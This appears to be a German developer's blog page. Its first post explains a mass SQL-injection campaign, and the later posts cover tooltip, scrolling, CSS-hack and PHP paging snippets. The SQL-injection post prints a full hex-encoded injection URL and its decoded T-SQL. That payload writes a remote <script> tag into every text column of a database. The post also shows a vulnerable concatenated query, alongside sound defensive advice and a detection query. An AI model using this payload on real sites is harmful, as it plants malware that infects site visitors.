SQL-Injection, der Spass beginnt!
- sql = "SELECT * FROM ShopWarenkorb WHERE id = '"& Request.QueryString("id") &"'"
Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:
Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:
- http://www.xyz.com/?id=1';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);--
In dem ersten Wert des CAST befindet sich der SQL-Befehl als Binärwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)
- DECLARE @nvarchar NVARCHAR(4000)
- SET @nvarchar = 'SELECT'
- DECLARE @BINARY BINARY(12)
- SET @BINARY = CAST(@nvarchar AS BINARY)
- SELECT @BINARY
- SELECT CAST(@BINARY AS NVARCHAR(4000))
Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:
- DECLARE @T varchar(255), @C varchar(255)
- DECLARE Table_Cursor
- CURSOR FOR
- SELECT a.name,b.name
- FROM sysobjects a,syscolumns b
- WHERE
- a.id=b.id
- AND a.xtype='u'
- AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
- OPEN Table_Cursor
- FETCH NEXT FROM Table_Cursor
- INTO @T,@C
- WHILE(@@FETCH_STATUS=0)
- BEGIN
- exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://xyz/xyz.js></script>''')
- FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).
Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)
Mithilfe dieser SQL-Befehle läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:
- DECLARE @searchValue varchar(255)
- SET @searchValue = 'script'
- SET NOCOUNT ON
- DECLARE @TempTable TABLE (table_name varchar(255),column_name varchar(255))
- CREATE TABLE #TempTableContent (table_name varchar(255),column_name varchar(255), value text)
- INSERT INTO @TempTable
- SELECT ic.table_schema + '.' + dbo.sysobjects.name AS Tabellenname, dbo.syscolumns.name AS Spaltenname
- FROM dbo.syscolumns
- INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id
- INNER JOIN dbo.systypes ON dbo.syscolumns.xtype = dbo.systypes.xtype
- INNER JOIN information_schema.COLUMNS ic ON ic.table_name = dbo.sysobjects.name AND ic.column_name = dbo.syscolumns.name
- WHERE (dbo.sysobjects.xtype = 'U') AND dbo.systypes.name IN ('varchar', 'nvarchar', 'text', 'char', 'ntext')
- DECLARE @SQLString varchar(500);
- DECLARE @table_name varchar(255), @column_name varchar(255)
- DECLARE DATA CURSOR LOCAL FAST_FORWARD FOR
- SELECT table_name, column_name FROM @TempTable
- OPEN DATA
- FETCH NEXT FROM DATA
- INTO @table_name, @column_name
- WHILE @@FETCH_STATUS = 0
- BEGIN
- SET @SQLString = N'select '''+ @table_name +''' AS table_name, ''' + @column_name +''' AS column_name, [' + @column_name +'] AS value ' + ' FROM ' + @table_name + ' where [' + @column_name + '] LIKE ''%'+@searchValue+'%''';
- INSERT INTO #TempTableContent
- EXEC(@SQLString)
- FETCH NEXT FROM DATA
- INTO @table_name, @column_name
- END
- SELECT * FROM #TempTableContent
- DROP TABLE #TempTableContent
Tooltip with JavaScript
Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.
Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.
- // tt = tooltip
- // global variables
- var intOffset_X_Pointer = 20;
- var intOffset_Y_Pointer = 20;
- // elements for tooltip
- var aryToolTipElements = Array('a','span');
- // browser?
- var blnIE = document.all;
- var blnNS = document.getElementById && !document.all;
- // tt-container
- document.write('<div id="my_tt"></div><br />');
- var show_tt = false;
- var obj_tt = document.getElementById("my_tt");
- // get tt-elements
- function generateToolTips() {
- for (var x = 0; x != aryToolTipElements.length; x++) {
- var objElement = document.getElementsByTagName(aryToolTipElements[x]);
- if (objElement) {
- for (var y = 0; y != objElement.length; y++) {
- if (objElement[y].className == "tt") {
- objElement[y].setAttribute("tt_content", objElement[y].title);
- objElement[y].removeAttribute("title");
- objElement[y].onmouseover = function() {
- enable_tt(this.getAttribute("tt_content"),true);
- };
- objElement[y].onmouseout = function() { hide_tt(false); };
- }
- }
- }
- }
- }
- function enable_tt(tt_content, blnShow_tt) {
- show_tt = blnShow_tt;
- obj_tt.innerHTML = tt_content;
- }
- function hide_tt(blnShow_tt) {
- show_tt = blnShow_tt;
- obj_tt.style.width = '';
- obj_tt.style.left = "-5000px";
- obj_tt.style.visibility = "hidden";
- }
- function tt_position(objThis) {
- if (show_tt) {
- // get ViewPortheight
- var intcH = document.documentElement.clientHeight;
- // differentiated values for IE and NS
- if (blnIE) {
- intcX = event.clientX; intcY = event.clientY + document.documentElement.scrollTop;
- intsLeft = document.documentElement.scrollLeft;
- var intBottom = intcH - event.clientY - 20;
- } else {
- intcX = objThis.clientX; intcY = objThis.pageY;
- var intBottom = intcH - objThis.clientY - 20;
- intsLeft = 0;
- }
- // set tt-pos
- obj_tt.style.left = intcX - intOffset_X_Pointer + "px";
- if (intBottom < obj_tt.offsetHeight) {
- obj_tt.style.top = intcY - obj_tt.offsetHeight - 10 + "px";
- } else {
- obj_tt.style.top = intcY + intOffset_Y_Pointer + "px";
- }
- obj_tt.style.visibility = "visible";
- }
- }
Im Kopfbereich der HTML-Seite sind nur wenige Änderungen notwendig. Das ausgelagerte JavaScript (tooltip.js) sowie zwei Anweisungen zur initialisieren müssen eingebunden werden.
- <script type="text/javascript" src="tooltip.js"></script>
- window.onload = function() {
- generateToolTips();
- document.onmousemove = tt_position;
- }
Nun können unterschiedliche Element mit einen Tooltip versehen werden. Dafür muss dem Element die CSS-Klasse "tt" zugeordnet, sowie der Inhalt des Tooltips in das Attribut "title" geschrieben werden.
- <a href="http://www.knoxmic.net" class="tt"
- title="<p>get this tooltip script now</p>">tooltip #1</a>
Das vorgestellte Beispiel kann wieder im Browser betrachtet oder heruntergeladen werden.
CSS hacks 2 go
Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene kleine Sammlung dieser Tricks darstellen:
So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im Business Browser IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.
- span {
- font-size:x-small;
- voice-family:"\"}\"";
- voice-family:inherit;
- font-size:small;
- }
Um den IE 4/5/6 ganz vor der Tür stehen zu lassen, genügt der Gebrauch eines Kindselektors:
- html>body p { margin:0; }
Alle in dem Container, erste und letzte Zeile im Codebeispiel, enthaltenen Anweisungen sind für den Netscape 4 unsichtbar.
- /*/*/a{}
- body {
- margin:0;
- }
- /* */
Seit nicht allzu langer Zeit, tendiere ich allerdings dazu, CSS-Anweisungen die ich für den IE korrigieren muss, über Conditional Comments darzustellen. Genau das würde ich auch allen Besuchern empfehlen, mit der weiteren Verbreitung des IE 7 sollten auch einige css hacks der Vergangenheit angehören.
- <!--[if IE]>
- <style type="text/css" media="screen">
- p {
- padding:0;
- margin:0;
- }
- </style>
- <! [endif]-->
Scrolling with JavaScript
Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.
Als erstes sollte die notwendige JavaScript-Klasse für das Scrolling eingebunden werden.
- function scroll(objElement, intHeight) {
- var self = this;
- this._y = 0;
- objElement.style.top = "0px";
- this.setPosition = function(intPos, y) {
- if (intPos > 0) intPos = 0;
- if (intPos < intHeight - objElement.offsetHeight)
- intPos = intHeight - objElement.offsetHeight;
- this._y = intPos;
- objElement.style.top = this._y +"px";
- };
- this.scrollY = function(y) { this.setPosition(this._y + y, y); };
- this.start = function(y) {
- this.scrollTimer = window.setInterval(
- function() { self.scrollY(y); }, 25 );
- };
- this.stop = function() {
- if (this.scrollTimer) window.clearInterval(this.scrollTimer); };
- };
Danach ist es notwendig das Objekt, welches den zu scrollenden Inhalt enthält der Klasse "scroll" zu übergeben und damit ein neues Objekt zu erstellen.
- var srollObject = null;
- function initPage() {
- var objElement = document.getElementById('content');
- srollObject = new scroll(objElement, 150);
- }
Dieser Vorgang wird natürlich erst nach erfolgten Laden der Seite ausgeführt.
- <body onload="initPage();">
Über diese zwei Elemente läßt sich das scrollen beeinflussen.
Das vorgestellte Beispiel kann im Browser betrachtet oder heruntergeladen werden.
Update! Über das Skript scroll_xy.js (zip) ist auch ein Scrolling entlang der X- bzw. Y-Achse möglich.
Paging your content dynamicly
Do you need a function for paging your content? Feel free to use this php code for your application.
If you know any tips to improve let me know.
- function paging($m, $u, $p) {
- if ($m > 1) {
- if ($p == "") $p = 1;
- for ($i=$p-$u; $i<=$p+$u; $i++) {
- if ($i == $p-$u) {
- if ($p == 1) $strResult .= '1 ';
- else $strResult .= '<a href="?p=1" class="p">1</a> ';
- if ($p-$u > 2) $strResult .= '... ';
- }
- if ($i < $m && $i != 1 && $i > 0) {
- if ($i == $p) $strResult .= $i.' ';
- else $strResult .= '<a href="?p='.$i.'" class="p">'.$i.'</a> ';
- }
- if ($i == $p+$u) {
- if ($i < $m-1) $strResult .= ' ... ';
- if ($p == $m) $strResult .= $m.' ';
- else $strResult .= '<a href="?p='.$m.'" class="p">'.$m.'</a>';
- }
- }
- }
- return $strResult;
- }
Download the code here.
Example:
Ajax for campus-magazin
Für das noch junge Campus Magazin ( TU Chemnitz ) sollte in kürzester Zeit ein Fragebogen online geschalten werden. Da auch noch keine Webadresse vorhanden war, haben wir (Christian Aurich, Ronny Engelmann) über prosite.de eine DNS-Domain eingerichtet (mit anschließender Weiterleitung auf eigenen Server).
Die Anforderungen waren einfach, viele Fragen, Pflichtfelder und Mailversand + Datenbank- eintrag bei erfolgreichem Ausfüllen. In der Praxis entschieden wir uns (angetrieben von Easy Ajax for the masses with xajax) für ein kleines Experiment mit xajax. Damit haben wir die Prüfung der Pflichtfelder bequem in den Hintergrund verschoben, nicht ausgefüllte Bereiche werden nun rot, ausgefüllte grün markiert.
Am Montag (2005-12-11) geht eine nicht kleine Zahl an Flyern für diese Umfrage in der Umgebung raus, mal schauen wieviel Resonanz die Website bekommt. Interessierte können sich das Formular unter http://www.campus-magazin.org anschauen und ausfüllen, eine Zugriffsstatistik ist auch vorhanden.
Update: Nach 5 Tagen sind bereits über > 255 ausgefüllte Fragebögen eingetroffen, liegt das nun am Formular welches zum ausfüllen animiert oder doch an der Werbung?

After having passed my training as computer scientist at KOMSA AG. I´m currently working for computerunivers.net as an Software Engineer.





